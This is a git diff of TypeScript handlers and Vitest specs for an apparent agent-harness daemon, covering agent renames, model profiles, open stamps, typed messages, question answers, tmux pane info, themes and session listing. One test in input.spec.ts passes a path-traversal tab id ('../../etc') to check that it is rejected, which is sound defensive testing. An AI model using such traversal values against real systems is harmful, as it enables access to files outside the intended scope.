expect(heard).toEqual([+ ['reply', { error: 'MISSING_AGENT_ID' }], ['reply', { error: 'MISSING_UPDATE' }], ['reply', { error: 'MISSING_UPDATE' }],+ ['reply', { error: 'MISSING_NAME' }], ['reply', { error: 'MISSING_NAME' }],+ ])+ expect(deps.registry.resolve).not.toHaveBeenCalled()+ const missing = setup({}, null)+ await missing.ask({ agentId: 'nobody', opened: true })+ expect(missing.heard).toEqual([['reply', { error: 'AGENT_NOT_FOUND' }]])+ })+})++describe('a model and effort', () => {+ it('moves the agent and answers with its frame', async () => {+ const { heard, ask, deps } = setup()+ await ask({ agentId: 'a1', selectedModel: 'runtime-v1:s1:claude:opus@high' })+ expect(deps.onRuntimeProfileUpdate).toHaveBeenCalledWith('a1', 'runtime-v1:s1:claude:opus@high')+ expect(heard).toEqual([['reply', { agent: { id: 'a1', name: 'Agent', lastOpenedAt: null } }]])+ expect(Object.keys(heard[0][1] as object)).toEqual(['agent'])+ })++ it('refuses a profile that is not one, or with nothing to apply it, and says why a move failed', async () => {+ const refused = async (over: Partial<AgentUpdateDeps>, selectedModel: unknown) => {+ const { heard, ask } = setup(over)+ await ask({ agentId: 'a1', selectedModel })+ return heard+ }+ expect(await refused({}, 7)).toEqual([['reply', { error: 'INVALID_RUNTIME_PROFILE' }]])+ expect(await refused({ onRuntimeProfileUpdate: null }, 'runtime-v1:x')).toEqual([['reply', { error: 'INVALID_RUNTIME_PROFILE' }]])+ expect(await refused({ onRuntimeProfileUpdate: async () => { throw new RuntimeProfileControlError('BUSY') } }, 'runtime-v1:x')).toEqual([['reply', { error: 'BUSY' }]])+ expect(await refused({ onRuntimeProfileUpdate: async () => { throw new Error('pane gone') } }, 'runtime-v1:x')).toEqual([['reply', { error: 'INTERNAL' }]])+ })+})++describe('a rename', () => {+ it('renames the agent and its pane, answers first, then tells every window and the device, and logs it', async () => {+ const log = vi.spyOn(console, 'log').mockImplementation(() => {})+ const { heard, ask, deps } = setup()+ await ask({ agentId: 'a1', name: ' Release notes ' })+ expect(deps.registry.rename).toHaveBeenCalledWith('a1', 'Release notes')+ expect(deps.onAgentRename).toHaveBeenCalledWith(expect.objectContaining({ defaultName: 'Release notes' }), 'Release notes')+ const renamed = { type: 'agent_renamed', payload: { agentId: 'a1', name: 'Release notes', engine: 'claude' } }+ expect(heard).toEqual([['reply', { agent: { id: 'a1', name: 'Release notes', lastOpenedAt: null } }], ['send', renamed], ['device', renamed]])+ expect(log).toHaveBeenCalledWith('[rename] a1 → "Release notes" · broadcast to web + device')+ })++ it('keeps the row it had when the registry renames nothing, and titles no pane when nothing does', async () => {+ vi.spyOn(console, 'log').mockImplementation(() => {})+ const { heard, ask, deps } = setup({ onAgentRename: null })+ vi.mocked(deps.registry.rename).mockReturnValueOnce(null)+ await ask({ agentId: 'a1', name: 'Kept' })+ expect(heard[0]).toEqual(['reply', { agent: { id: 'a1', name: 'Agent', lastOpenedAt: null } }])+ })+})++describe('an app opening the agent', () => {+ it('stamps it on this machine\'s clock, keeps it from being closed unseen, answers, then tells every window but not the device', async () => {+ vi.useFakeTimers({ toFake: ['Date'] })+ vi.setSystemTime(NOW)+ const cancel = vi.fn()+ const { heard, ask, deps } = setup({ closeAgentService: () => ({ cancel }) })+ await ask({ agentId: 'a1', opened: true })+ expect(cancel).toHaveBeenCalledWith('a1')+ expect(deps.registry.markOpened).toHaveBeenCalledWith('a1')+ const agent = { id: 'a1', name: 'Agent', lastOpenedAt: NOW }+ expect(heard).toEqual([['reply', { agent }], ['send', { type: 'agent_synced', payload: { agent } }]])+ })++ it('answers a repeat inside the throttle with the frame as it is, stamping and telling no one; a stamp from the future never throttles', async () => {+ vi.useFakeTimers({ toFake: ['Date'] })+ vi.setSystemTime(NOW)+ const stamped = (lastOpenedAt: number) => setup({ closeAgentService: () => null }, row({ lastOpenedAt }))+ const repeat = stamped(NOW - AGENT_OPENED_THROTTLE_MS + 1)+ await repeat.ask({ agentId: 'a1', opened: true })+ expect(repeat.deps.registry.markOpened).not.toHaveBeenCalled()+ expect(repeat.heard).toEqual([['reply', { agent: { id: 'a1', name: 'Agent', lastOpenedAt: NOW - AGENT_OPENED_THROTTLE_MS + 1 } }]])+ for (const lastOpenedAt of [NOW - AGENT_OPENED_THROTTLE_MS, NOW + 60_000]) {+ const later = stamped(lastOpenedAt)+ await later.ask({ agentId: 'a1', opened: true })+ expect(later.deps.registry.markOpened).toHaveBeenCalledOnce()+ }+ })++ it('stamps but tells no window of an agent whose terminal this machine cannot see, and keeps its row if the registry stamps nothing', async () => {+ const { heard, ask, deps } = setup()+ vi.mocked(deps.registry.terminalAvailable).mockReturnValue(false)+ vi.mocked(deps.registry.markOpened).mockReturnValueOnce(null)+ await ask({ agentId: 'a1', opened: true })+ expect(heard).toEqual([['reply', { agent: { id: 'a1', name: 'Agent', lastOpenedAt: null } }]])+ })+})diff --git a/cli/src/core/agents/update.ts b/cli/src/core/agents/update.tsnew file mode 100644index 000000000..4013703d2--- /dev/null+++ b/cli/src/core/agents/update.ts@@ -0,0 +1,109 @@+/**+ * `agent_update`: a person renamed an agent, moved it onto another model and effort, or an app opened it.+ * The reply is the agent's frame as it stands after; a rename is told to every window and the device,+ * and an open to every window, so all of them sort by the same "last used".+ *+ * Moved verbatim out of the socket's request switch (docs/design/2026-10-03-harnessd.md).+ */+import type { BackendSocket } from '../../backendSocket.js'+import type { AgentFrame } from '../../lib/agentFrame.js'+import type { CloseAgentService } from '../../lib/closeAgentService.js'+import { preview, sid } from '../../lib/log.js'+import type { registry, RegisteredSession } from '../../lib/registry.js'+import { RuntimeProfileControlError, type RuntimeProfileErrorCode } from '../../lib/runtimeProfileController.js'++/** An `agent_update {opened: true}` for an agent opened less than this long ago is answered but not+ * stamped or broadcast: a person flicking between two tabs, or two apps opening the same agent at+ * once, would otherwise push a frame to every client for each flick. Exported for the spec. */+export const AGENT_OPENED_THROTTLE_MS = 3_000++export interface AgentUpdateDeps {+ registry: Pick<typeof registry, 'resolve' | 'rename' | 'markOpened' | 'terminalAvailable'>+ /** Moves an agent onto a model and effort (lib/runtimeProfileController.ts), or null while nothing can. */+ onRuntimeProfileUpdate: ((sessionId: string, selectedModel: string) => Promise<void>) | null+ /** Names the agent's pane after it, or null while nothing does. */+ onAgentRename: ((session: RegisteredSession, name: string) => void) | null+ /** The close service, once it exists: an agent a person opens is no longer one to close unseen. */+ closeAgentService: () => Pick<CloseAgentService, 'cancel'> | null+ /** An agent's frame, as the socket builds it for every reply. */+ toProject: (s: RegisteredSession) => Promise<AgentFrame>+ /** Every window, through the web audience (`send`), and the device (`sendCommander`). */+ clients: Pick<BackendSocket, 'send' | 'sendCommander'>+}++export function createAgentUpdate({+ registry, onRuntimeProfileUpdate, onAgentRename, closeAgentService, toProject, clients,+}: AgentUpdateDeps) {+ /** Answers `agent_update` through `reply`, before the windows hear of it. */+ const agentUpdate = async (payload: Record<string, unknown>, reply: (result: Record<string, unknown>) => void): Promise<void> => {+ const projectId = payload.agentId as string | undefined+ if (!projectId) { reply({ error: 'MISSING_AGENT_ID' }); return }+ const hasName = Object.prototype.hasOwnProperty.call(payload, 'name')+ const hasProfile = Object.prototype.hasOwnProperty.call(payload, 'selectedModel')+ // An app OPENED this agent — see RegisteredSession.lastOpenedAt. Only a literal `true`: a+ // client that means "opened" says so, and anything else is not an update at all. A client+ // reaching this handler is already one that may change the agent — a shared harness's+ // observer never gets here (sharing/owner.ts answers everything but terminal frames with+ // VIEW_ONLY) — so an open is taken from the local window, a paired web/phone session and a+ // remote desktop relayed through its own daemon alike.+ const hasOpened = payload.opened === true+ // An older client, and a request carrying none of the three, still get MISSING_UPDATE — which+ // is also what a client learns from a daemon that predates `opened`.+ if (!hasName && !hasProfile && !hasOpened) { reply({ error: 'MISSING_UPDATE' }); return }+ const name = typeof payload.name === 'string' ? payload.name.trim() : ''+ if (hasName && !name) { reply({ error: 'MISSING_NAME' }); return }+ let s = registry.resolve(projectId)+ if (!s) { reply({ error: 'AGENT_NOT_FOUND' }); return }+ if (hasProfile) {+ if (typeof payload.selectedModel !== 'string' || !onRuntimeProfileUpdate) {+ reply({ error: 'INVALID_RUNTIME_PROFILE' })+ return+ }+ try {+ await onRuntimeProfileUpdate(projectId, payload.selectedModel)+ } catch (error) {+ const code: RuntimeProfileErrorCode | 'INTERNAL' = error instanceof RuntimeProfileControlError ? error.code : 'INTERNAL'+ reply({ error: code })+ return+ }+ }+ if (hasName) {+ s = registry.rename(projectId, name) ?? s+ onAgentRename?.(s, name)+ }+ // Throttled on the stamp the row already carries, so a repeat inside the window is answered+ // with the current frame but moves nothing and tells no one. A stamp from the future (the+ // clock was set back) never throttles: the next open corrects it.+ let opened = false+ if (hasOpened) {+ closeAgentService()?.cancel(s.agentId)+ const since = Date.now() - (s.lastOpenedAt ?? 0)+ if (!s.lastOpenedAt || since < 0 || since >= AGENT_OPENED_THROTTLE_MS) {+ s = registry.markOpened(s.agentId) ?? s+ opened = true+ }+ }+ const agent = await toProject(s)+ reply({ agent })+ // Every app sorts by the same stamp, so every app hears it: the web audience — the phone,+ // other desktops, and this computer's own windows — through `send`. Not the device: the dial+ // lists agents in creation order and has nothing to reorder. Not for an agent whose terminal+ // this daemon cannot see either, the rule `syncSession` (cli.ts) keeps: that row is not in+ // `agents_list`, and a push would put it back on every screen.+ if (opened && registry.terminalAvailable(s.agentId)) {+ clients.send({ type: 'agent_synced', payload: { agent } })+ }+ if (hasName) {+ const renamed = { type: 'agent_renamed', payload: { agentId: s.agentId, name, engine: s.engine } }+ clients.send(renamed) // every OTHER web client on this machine (group-encrypted)+ clients.sendCommander(renamed) // and the device+ // The whole rename path was silent end to end, which is why "web1 renamed it, web2 never saw+ // it" had no evidence to work from: nothing said whether the request even arrived. One line+ // here splits the question in two — no line means it never reached the adapter, a line means+ // the fan-out is downstream.+ console.log(`[rename] ${sid(projectId)} → "${preview(name, 40)}" · broadcast to web + device`)+ }+ }++ return { agentUpdate }+}diff --git a/cli/src/core/input.spec.ts b/cli/src/core/input.spec.tsindex 152b88815..5f944b019 100644--- a/cli/src/core/input.spec.ts+++ b/cli/src/core/input.spec.ts@@ -5,7 +5,7 @@ import { deviceErrorText } from '../lib/deviceErrors.js'import type { RegisteredSession } from '../lib/registry.js'import type { SessionInputDelivery } from '../lib/sessionInput.js'import type { TerminalActionResult } from '../lib/terminalTypes.js'-import { createInput, deviceInputDeps, sessionInputDeps, type InputDeps } from './input.js'+import { createInput, createMessageRequest, deviceInputDeps, sessionInputDeps, type InputDeps } from './input.js'const ok: TerminalActionResult = { state: 'succeeded', dispatch: 'executed' }/** A Claude Code composer that is empty and idle: ready for a team write. */@@ -237,3 +237,27 @@ describe('createInput', () => {expect(log.mock.calls.flat().filter((line) => String(line).includes('slash-command adapted'))).toHaveLength(1)})})++describe('message', () => {+ afterEach(() => vi.restoreAllMocks())++ it('writes what a person typed into the agent the frame names, in the tab it names', () => {+ const inputs = createInput(deps().deps)+ const submit = vi.spyOn(inputs.input, 'submit').mockImplementation(() => {})+ vi.spyOn(console, 'log').mockImplementation(() => {})+ inputs.messageRequest({ content: 'hello', agentId: 's1', tabId: 'swarm-a' })+ expect(submit.mock.calls).toEqual([['a1', 'hello', undefined, 'swarm-a']])+ })++ it('names the agent by agent id or session id, takes a tab only in a tab id\'s shape, and drops a frame with no text or no agent', () => {+ const submit = vi.fn()+ const message = createMessageRequest(submit)+ message({ content: 'hi', agentId: 'a1', sessionId: 's1' })+ message({ content: 'hi', sessionId: 's1' })+ message({ content: 'in a tab', agentId: 'a1', tabId: 'swarm-a' })+ message({ content: 'not a tab', agentId: 'a1', tabId: '../../etc' })+ message({ content: '', agentId: 'a1' })+ message({ content: 'nobody to type into' })+ expect(submit.mock.calls).toEqual([['a1', 'hi'], ['s1', 'hi'], ['a1', 'in a tab', undefined, 'swarm-a'], ['a1', 'not a tab']])+ })+})diff --git a/cli/src/core/input.ts b/cli/src/core/input.tsindex 98d8be49a..642d4ab06 100644--- a/cli/src/core/input.ts+++ b/cli/src/core/input.ts@@ -20,6 +20,7 @@ import type { LiveEvent } from '../lib/normalize.js'import type { RegisteredSession } from '../lib/registry.js'import { SessionInputController, type SessionInputDelivery, type SessionInputDeps } from '../lib/sessionInput.js'import { terminalActionNotStarted } from '../lib/terminalTypes.js'+import { Id } from '../teams/model.js'import { teamWriteHold } from '../teams/preflight.js'import type { TerminalControl } from './terminals/control.js'@@ -156,7 +157,28 @@ export function createInput(deps: InputDeps) {console.log(`[msg] ${sid(sessionId)} recv · engine=${engine} · bytes=${Buffer.byteLength(adapted, 'utf8')}`)input.submit(record?.agentId ?? sessionId, adapted, deliveryId, tabId)}- return { input, deviceInput, acquireTerminalControl, submitAgent }+ const messageRequest = createMessageRequest(submitAgent)+ return { input, deviceInput, acquireTerminalControl, submitAgent, messageRequest }+}++/**+ * Takes a `message` frame: text a person typed for an agent, into its pane, in the tab's scope when the+ * frame names one. Nothing is answered: the transcript lines the text produces drive the turn back to+ * every window (mirror-all), with no synthetic events here.+ *+ * Moved verbatim out of the socket's request switch (docs/design/2026-10-03-harnessd.md).+ */+export function createMessageRequest(submit: (id: string, content: string, deliveryId?: string, tabId?: string) => void) {+ return (payload: Record<string, unknown>): void => {+ const content = payload.content as string | undefined+ const target = (payload.agentId as string | undefined) || (payload.sessionId as string | undefined)+ if (!content || !target) return+ // From the relay this is only reached sealed: text typed into an agent is never taken from the relay+ // in the clear.+ const tabId = Id.safeParse(payload.tabId)+ if (tabId.success) submit(target, content, undefined, tabId.data)+ else submit(target, content)+ }}export type Input = ReturnType<typeof createInput>diff --git a/cli/src/core/questions.spec.ts b/cli/src/core/questions.spec.tsindex 4c1d16d8b..e17e25aa9 100644--- a/cli/src/core/questions.spec.ts+++ b/cli/src/core/questions.spec.ts@@ -1,6 +1,6 @@import { afterEach, describe, expect, it, vi } from 'vitest'import type { RegisteredSession } from '../lib/registry.js'-import { createQuestions, type QuestionDeps } from './questions.js'+import { createQuestionResponse, createQuestions, type QuestionDeps } from './questions.js'const agents = new Map<string, RegisteredSession>([['s1', { agentId: 'a1', sessionId: 's1', engine: 'claude' } as RegisteredSession],@@ -114,3 +114,38 @@ describe('questions', () => {expect(log.mock.calls[0][0]).toContain('answered elsewhere · closing on every client · req=r1')})})++describe('question_response', () => {+ afterEach(() => vi.restoreAllMocks())++ it('keys the answer through the questions\' own answer, and says what became of it once typed', async () => {+ const { asking } = setup()+ const typed = vi.spyOn(asking.questions, 'answer').mockResolvedValue({ ok: true })+ const replies: Array<Record<string, unknown>> = []+ asking.questionResponse({ agentId: 'a1', requestId: 'q_1', answers: { q: 'Tea' } }, (result) => { replies.push(result) })+ expect(typed).toHaveBeenCalledWith({ agentId: 'a1', requestId: 'q_1', answers: { q: 'Tea' } })+ await vi.waitFor(() => expect(replies).toStrictEqual([{ ok: true }]))+ })++ it('answers outside the connection\'s line: a refusal, in its fields, or a failure, once the dialog is done', async () => {+ let finish!: (result: { ok: false; error: 'STALE_QUESTION'; detail: string }) => void+ const replies: Array<Record<string, unknown>> = []+ const respond = createQuestionResponse(() => new Promise((resolve) => { finish = resolve }))+ respond({ agentId: 'a1', requestId: 'q_0badf00d', answers: { q: 'Yes' } }, (result) => { replies.push(result) })+ expect(replies).toEqual([])+ finish({ ok: false, error: 'STALE_QUESTION', detail: 'That question changed before your answer arrived.' })+ await vi.waitFor(() => expect(replies).toHaveLength(1))+ expect(replies[0]).toStrictEqual({ error: 'STALE_QUESTION', detail: 'That question changed before your answer arrived.' })+ expect(Object.keys(replies[0])).toEqual(['error', 'detail'])+ createQuestionResponse(async () => { throw new Error('tmux gone') })({ requestId: 'q_2' }, (result) => { replies.push(result) })+ await vi.waitFor(() => expect(replies).toHaveLength(2))+ expect(replies[1]).toStrictEqual({ error: 'ANSWER_FAILED', detail: 'The answer could not be entered.' })+ })++ it('says nothing for an answer nobody took', async () => {+ const reply = vi.fn()+ createQuestionResponse(() => undefined)({ requestId: 'q_3' }, reply)+ await new Promise((resolve) => setTimeout(resolve, 10))+ expect(reply).not.toHaveBeenCalled()+ })+})diff --git a/cli/src/core/questions.ts b/cli/src/core/questions.tsindex 5e9c723f8..f1305ddcf 100644--- a/cli/src/core/questions.ts+++ b/cli/src/core/questions.ts@@ -125,7 +125,30 @@ export function createQuestions({console.log(`[question] ${sid(sessionId)} answered elsewhere · closing on every client · req=${requestId}`)},})- return { questions, showAwaitingAnswer, answer, openQuestions, monitorActivity, agentNotifications, questionWatcher }+ const questionResponse = createQuestionResponse(answer)+ return { questions, showAwaitingAnswer, answer, questionResponse, openQuestions, monitorActivity, agentNotifications, questionWatcher }+}++/**+ * Answers `question_response`: a person answered an agent's question on a device or in a window. There+ * is no control channel into an interactive CLI, so `answer` keys it straight into that session's tmux+ * dialog, and what became of it goes back through `reply`.+ *+ * Moved verbatim out of the socket's request switch (docs/design/2026-10-03-harnessd.md).+ */+export function createQuestionResponse(answer: (payload: QuestionAnswerPayload) => Promise<QuestionAnswerResult> | void) {+ return (payload: Record<string, unknown>, reply: (result: Record<string, unknown>) => void): void => {+ const p = payload as { requestId?: string; sessionId?: string; agentId?: string; answers?: Record<string, string> }+ const answered = answer(p)+ // Detached: driving a dialog takes seconds of keystrokes and repaints. The outcome goes back+ // under the QUESTION's requestId, so the client that answered can say why nothing happened —+ // STALE_QUESTION when the dialog changed before the answer arrived and nothing was typed.+ if (answered) {+ void answered+ .then((result) => reply(result.ok ? { ok: true } : { error: result.error, detail: result.detail }))+ .catch(() => reply({ error: 'ANSWER_FAILED', detail: 'The answer could not be entered.' }))+ }+ }}export type Questions = ReturnType<typeof createQuestions>diff --git a/cli/src/core/terminals/requests.spec.ts b/cli/src/core/terminals/requests.spec.tsnew file mode 100644index 000000000..34fbad7c9--- /dev/null+++ b/cli/src/core/terminals/requests.spec.ts@@ -0,0 +1,66 @@+import { describe, expect, it, vi } from 'vitest'+import type { RegisteredSession } from '../../lib/registry.js'+import type { TmuxPaneInfo } from '../../lib/tmux.js'+import { createTerminalRequests, type TerminalRequestDeps } from './requests.js'++/** `terminal_info` and `theme_set`, answered by the core: tmux's word on an agent's pane, read outside+ * the line, and the desktop's colours, applied whole or not at all. */+const agents = new Map([+ ['a1', { agentId: 'a1', sessionId: 's1', tmuxPane: '%7' }],+ ['bare', { agentId: 'bare', sessionId: 's2', tmuxPane: null }],+]) as unknown as Map<string, RegisteredSession>++function setup(over: Partial<TerminalRequestDeps> = {}) {+ const deps: TerminalRequestDeps = {+ resolve: vi.fn((id: string) => agents.get(id)),+ paneInfo: vi.fn(async () => ({ command: 'zsh', path: '/work/app', pid: 4242, tty: '/dev/ttys004' })),+ applyTheme: vi.fn(),+ ...over,+ }+ const requests = createTerminalRequests(deps)+ const replies: Array<Record<string, unknown>> = []+ const ask = (payload: Record<string, unknown>) => requests.terminalInfo(payload, (result) => { replies.push(result) })+ return { deps, replies, ask, requests }+}++describe('terminal_info', () => {+ it('what an agent\'s pane runs and where, in tmux\'s fields, read outside the connection\'s line', async () => {+ let answer!: (info: TmuxPaneInfo | null) => void+ const { deps, replies, ask } = setup({ paneInfo: vi.fn(() => new Promise<TmuxPaneInfo | null>((resolve) => { answer = resolve })) })+ ask({ agentId: 'a1' })+ expect(deps.paneInfo).toHaveBeenCalledWith('%7')+ expect(replies).toEqual([])+ answer({ command: 'node', path: '/work/app', pid: 4242, tty: '/dev/ttys004' })+ await vi.waitFor(() => expect(replies).toHaveLength(1))+ expect(replies[0]).toStrictEqual({ command: 'node', path: '/work/app', pid: 4242, tty: '/dev/ttys004' })+ expect(Object.keys(replies[0])).toEqual(['command', 'path', 'pid', 'tty'])+ })++ it('an agent it does not know, or one with no pane, is not found; a pane tmux cannot read is said so', async () => {+ const { deps, replies, ask } = setup({ paneInfo: vi.fn(async () => null) })+ ask({})+ ask({ agentId: 7 })+ ask({ agentId: 'nobody' })+ ask({ agentId: 'bare' })+ expect(deps.resolve).toHaveBeenCalledTimes(2)+ expect(replies).toEqual([{ error: 'AGENT_NOT_FOUND' }, { error: 'AGENT_NOT_FOUND' }, { error: 'AGENT_NOT_FOUND' }, { error: 'AGENT_NOT_FOUND' }])+ ask({ agentId: 'a1' })+ await vi.waitFor(() => expect(replies).toHaveLength(5))+ expect(replies[4]).toStrictEqual({ error: 'PANE_NOT_FOUND' })+ })+})++describe('theme_set', () => {+ it('applies the desktop\'s pair of colours, normalised, and says so', () => {+ const { deps, requests } = setup()+ const reply = requests.themeSet({ requestId: 't-1', background: '#171B29', foreground: '#f5f5f5' })+ expect(reply).toStrictEqual({ applied: true })+ expect(deps.applyTheme).toHaveBeenCalledWith({ background: '#171b29', foreground: '#f5f5f5' })+ })++ it('refuses a malformed pair rather than half-applying it', () => {+ const { deps, requests } = setup()+ expect(requests.themeSet({ background: 'dark' })).toStrictEqual({ error: 'BAD_THEME' })+ expect(deps.applyTheme).not.toHaveBeenCalled()+ })+})diff --git a/cli/src/core/terminals/requests.ts b/cli/src/core/terminals/requests.tsnew file mode 100644index 000000000..964d0d2e7--- /dev/null+++ b/cli/src/core/terminals/requests.ts@@ -0,0 +1,45 @@+/**+ * Requests about a harness's terminal itself, rather than the agent in it: what its pane runs and where+ * (`terminal_info`), and the colours the desktop paints panes with (`theme_set`).+ *+ * Moved verbatim out of the socket's request switch (docs/design/2026-10-03-harnessd.md).+ */+import { parseHostTheme, type HostTheme } from '../../lib/hostTheme.js'+import type { RegisteredSession } from '../../lib/registry.js'+import type { TmuxPaneInfo } from '../../lib/tmux.js'++export interface TerminalRequestDeps {+ resolve: (id: string) => RegisteredSession | undefined+ /** tmux's own word on a pane (lib/tmux.ts `tmuxPaneInfo`). */+ paneInfo: (pane: string) => Promise<TmuxPaneInfo | null>+ /** Makes a pair of colours this machine's tmux `window-style` (cli.ts). */+ applyTheme: (theme: HostTheme) => void+}++export function createTerminalRequests({ resolve, paneInfo, applyTheme }: TerminalRequestDeps) {+ /** Answers `terminal_info` through `reply`, once tmux has answered: never in the connection's line. */+ const terminalInfo = (payload: Record<string, unknown>, reply: (result: Record<string, unknown>) => void): void => {+ // What a harness's pane runs now and where — tmux's #{pane_current_command} and+ // #{pane_current_path}, for a terminal client's formats. Read-only. Not in the e2ee+ // sets (core.ts is hash-pinned with the other implementations), so it answers the local+ // client; over the relay a peer is not asked, and the client keeps its fallback.+ const id = payload.agentId+ const agent = typeof id === 'string' ? resolve(id) : undefined+ if (!agent?.tmuxPane) { reply({ error: 'AGENT_NOT_FOUND' }); return }+ void paneInfo(agent.tmuxPane).then(info => reply(info ? { ...info } : { error: 'PANE_NOT_FOUND' }))+ }++ /**+ * The reply to `theme_set`: the colours the desktop paints its panes with, so tmux answers a TUI's+ * OSC 10/11 with them instead of with whatever terminal happened to attach first (lib/hostTheme.ts).+ * A malformed pair is refused, never half-applied.+ */+ const themeSet = (payload: Record<string, unknown>): Record<string, unknown> => {+ const theme = parseHostTheme(payload)+ if (!theme) return { error: 'BAD_THEME' }+ applyTheme(theme)+ return { applied: true }+ }++ return { terminalInfo, themeSet }+}diff --git a/cli/src/core/transcripts/history.spec.ts b/cli/src/core/transcripts/history.spec.tsindex 3230b33fd..0dd25c71b 100644--- a/cli/src/core/transcripts/history.spec.ts+++ b/cli/src/core/transcripts/history.spec.ts@@ -13,6 +13,7 @@ import { readHermesMessages } from '../../engines/hermes/reader.js'import { readKiloMessages } from '../../engines/kilo/reader.js'import { readOpencodeMessages } from '../../engines/opencode/reader.js'import { piMessagesToEvents } from '../../engines/pi/normalizer.js'+import { lastActivityAt } from '../../lib/agentFrame.js'import { sid } from '../../lib/log.js'import { messagesToEvents, windowRawLines } from '../../lib/normalize.js'import type { RegisteredSession } from '../../lib/registry.js'@@ -71,6 +72,7 @@ vi.mock('../../engines/cursor/home.js', async (real) => ({ ...await real<object>vi.mock('../../engines/codex/normalizer.js', async (real) => ({ ...await real<object>(), codexMessagesToEvents: vi.fn((lines: unknown[]) => fake.replay('codex')(lines)) }))vi.mock('../../engines/codex/subagent.js', async (real) => ({ ...await real<object>(), codexSubagentResolverFor: vi.fn(() => fake.resolver) }))vi.mock('../../lib/normalize.js', async (real) => ({ ...await real<object>(), messagesToEvents: vi.fn(fake.replay('claude')), windowRawLines: vi.fn(fake.windowOf('raw')) }))+vi.mock('../../lib/agentFrame.js', async (real) => ({ ...await real<object>(), lastActivityAt: vi.fn(async () => Date.parse('2026-10-05T08:45:00.000Z')) }))vi.mock('../../lib/transcriptTail.js', async (real) => {const actual = await real<typeof import('../../lib/transcriptTail.js')>()return { ...actual, tailFileCapped: vi.fn(actual.tailFileCapped) }@@ -110,6 +112,7 @@ function setup(s?: RegisteredSession, kept: RegisteredSession[] = []) {const pages = {claude: vi.fn(async (_path: string, _opts: { limit?: number; before?: string }) => page([], false, null)),codex: vi.fn(async (_path: string, _opts: { limit?: number; before?: string }) => page([], false, null)),+ lineCount: vi.fn(async (_path: string) => 0),}const deps = {resolve: vi.fn((id: string) => (s && (id === s.sessionId || id === s.agentId) ? s : undefined)),@@ -473,3 +476,70 @@ describe('the replays with no windower answer both shapes', () => {expect(historyPage(['l0'], true)).toStrictEqual({ events: replayed(engine, ['l0']), hasMore: false, oldestCursor: null })})})++describe('the conversation an agent holds (sessions_list)', () => {+ it('asks for an agent, and lists nothing for one it does not know or one whose engine has not bound a conversation', async () => {+ const pending = session('claude', { sessionId: '' })+ const { sessionsList, pages } = setup(pending)+ expect(await sessionsList({})).toStrictEqual({ error: 'MISSING_AGENT_ID' })+ expect(await sessionsList({ agentId: 'nobody' })).toStrictEqual({ sessions: [] })+ expect(await sessionsList({ agentId: pending.agentId })).toStrictEqual({ sessions: [] })+ expect(pages.lineCount).not.toHaveBeenCalled()+ })++ it('the one conversation, its lines counted by the pager rather than read whole, in the fields it always had', async () => {+ const file = transcript(['c1', 'c2'])+ const s = session('codex', { transcriptPath: file, registeredAt: Date.parse('2026-10-05T07:00:00.000Z') })+ const { sessionsList, pages } = setup(s)+ pages.lineCount.mockResolvedValueOnce(42)+ const reply = await sessionsList({ agentId: s.agentId }) as { sessions: Array<Record<string, unknown>> }+ expect(reply).toStrictEqual({ sessions: [{+ id: s.sessionId, title: 'Release notes', timestamp: '2026-10-05T07:00:00.000Z', messageCount: 42,+ lastActivity: '2026-10-05T08:45:00.000Z', participants: [],+ }] })+ expect(Object.keys(reply)).toEqual(['sessions'])+ expect(Object.keys(reply.sessions[0])).toEqual(['id', 'title', 'timestamp', 'messageCount', 'lastActivity', 'participants'])+ expect(pages.lineCount).toHaveBeenCalledWith(file)+ expect(lastActivityAt).toHaveBeenCalledWith(s)+ })++ it('a conversation kept in a database has no file to count', async () => {+ const s = session('opencode', { registeredAt: Date.parse('2026-10-05T07:00:00.000Z') })+ const { sessionsList, pages } = setup(s)+ expect(await sessionsList({ agentId: s.agentId })).toMatchObject({ sessions: [{ id: s.sessionId, messageCount: 0 }] })+ expect(pages.lineCount).not.toHaveBeenCalled()+ })+})++describe('asked by agent id', () => {+ // The registry finds an agent by its agent id as well as by its session id, and the reply still names+ // the id it was asked for. What is read must be the conversation's own, though: an engine's store, its+ // export and its task links know the session id alone, and with the agent id read nothing at all.+ it('reads a database engine\'s store under the session id', async () => {+ const s = session('opencode')+ const { sessionGet } = setup(s)+ expect(await sessionGet({ sessionId: s.agentId, limit: 2 })).toMatchObject({ id: s.agentId, events: replayed('opencode', ['o2', 'o3']) })+ expect(readOpencodeMessages).toHaveBeenCalledWith('/stores/opencode.db', s.sessionId)+ })++ it('reads Cursor\'s task links, and replays its tasks, under the session id', async () => {+ const s = session('cursor', { transcriptPath: transcript(['l0', 'l1']) })+ const { sessionGet } = setup(s)+ await sessionGet({ sessionId: s.agentId })+ await sessionGet({ sessionId: s.agentId, limit: 1 })+ expect(loadCursorReplayTaskLinks).toHaveBeenNthCalledWith(1, '/cursor/config', s.sessionId, '/cursor/data')+ expect(loadCursorReplayTaskLinks).toHaveBeenNthCalledWith(2, '/cursor/config', s.sessionId, '/cursor/data')+ expect(cursorMessagesToEvents).toHaveBeenNthCalledWith(1, ['l0', 'l1'], s.sessionId, ['a task link'])+ expect(cursorMessagesToEvents).toHaveBeenNthCalledWith(2, ['l1'], s.sessionId, ['a task link'], 7, ['a todo carried in'])+ })++ it('exports an Amp thread under the session id', async () => {+ vi.spyOn(console, 'warn').mockImplementation(() => {})+ const s = session('amp', { sessionId: 'T-0123456789abcdef', transcriptPath: transcript(['l0']) })+ const { sessionGet } = setup(s)+ await sessionGet({ sessionId: s.agentId })+ await sessionGet({ sessionId: s.agentId, limit: 5 })+ expect(readAmpThread).toHaveBeenNthCalledWith(1, 'T-0123456789abcdef')+ expect(readAmpThread).toHaveBeenNthCalledWith(2, 'T-0123456789abcdef')+ })+})diff --git a/cli/src/core/transcripts/history.ts b/cli/src/core/transcripts/history.tsindex c5d9d1e21..ac88e87a0 100644--- a/cli/src/core/transcripts/history.ts+++ b/cli/src/core/transcripts/history.ts@@ -1,7 +1,8 @@/*** A conversation's history, for a window that asks for it (`session_get`): the whole thread, or the page- * before a cursor and the cursor to the page before that. The socket hands the request here and sends- * back what comes out, so every field of the reply is decided in this file.+ * before a cursor and the cursor to the page before that; and the conversation an agent holds, with how+ * many lines it has (`sessions_list`). The socket hands each request here and sends back what comes out,+ * so every field of the replies is decided in this file.** Claude Code and Codex read only the page asked for (lib/transcriptPages.ts), and the other file engines* at most the newest 64 MB of their transcripts (lib/transcriptTail.ts), because the whole history of one@@ -36,6 +37,7 @@ import { opencodeMessagesToEvents, windowOpencodeMessages } from '../../engines/import { readOpencodeMessages } from '../../engines/opencode/reader.js'import { piMessagesToEvents, windowPiLines } from '../../engines/pi/normalizer.js'import { sid } from '../../lib/log.js'+import { lastActivityAt 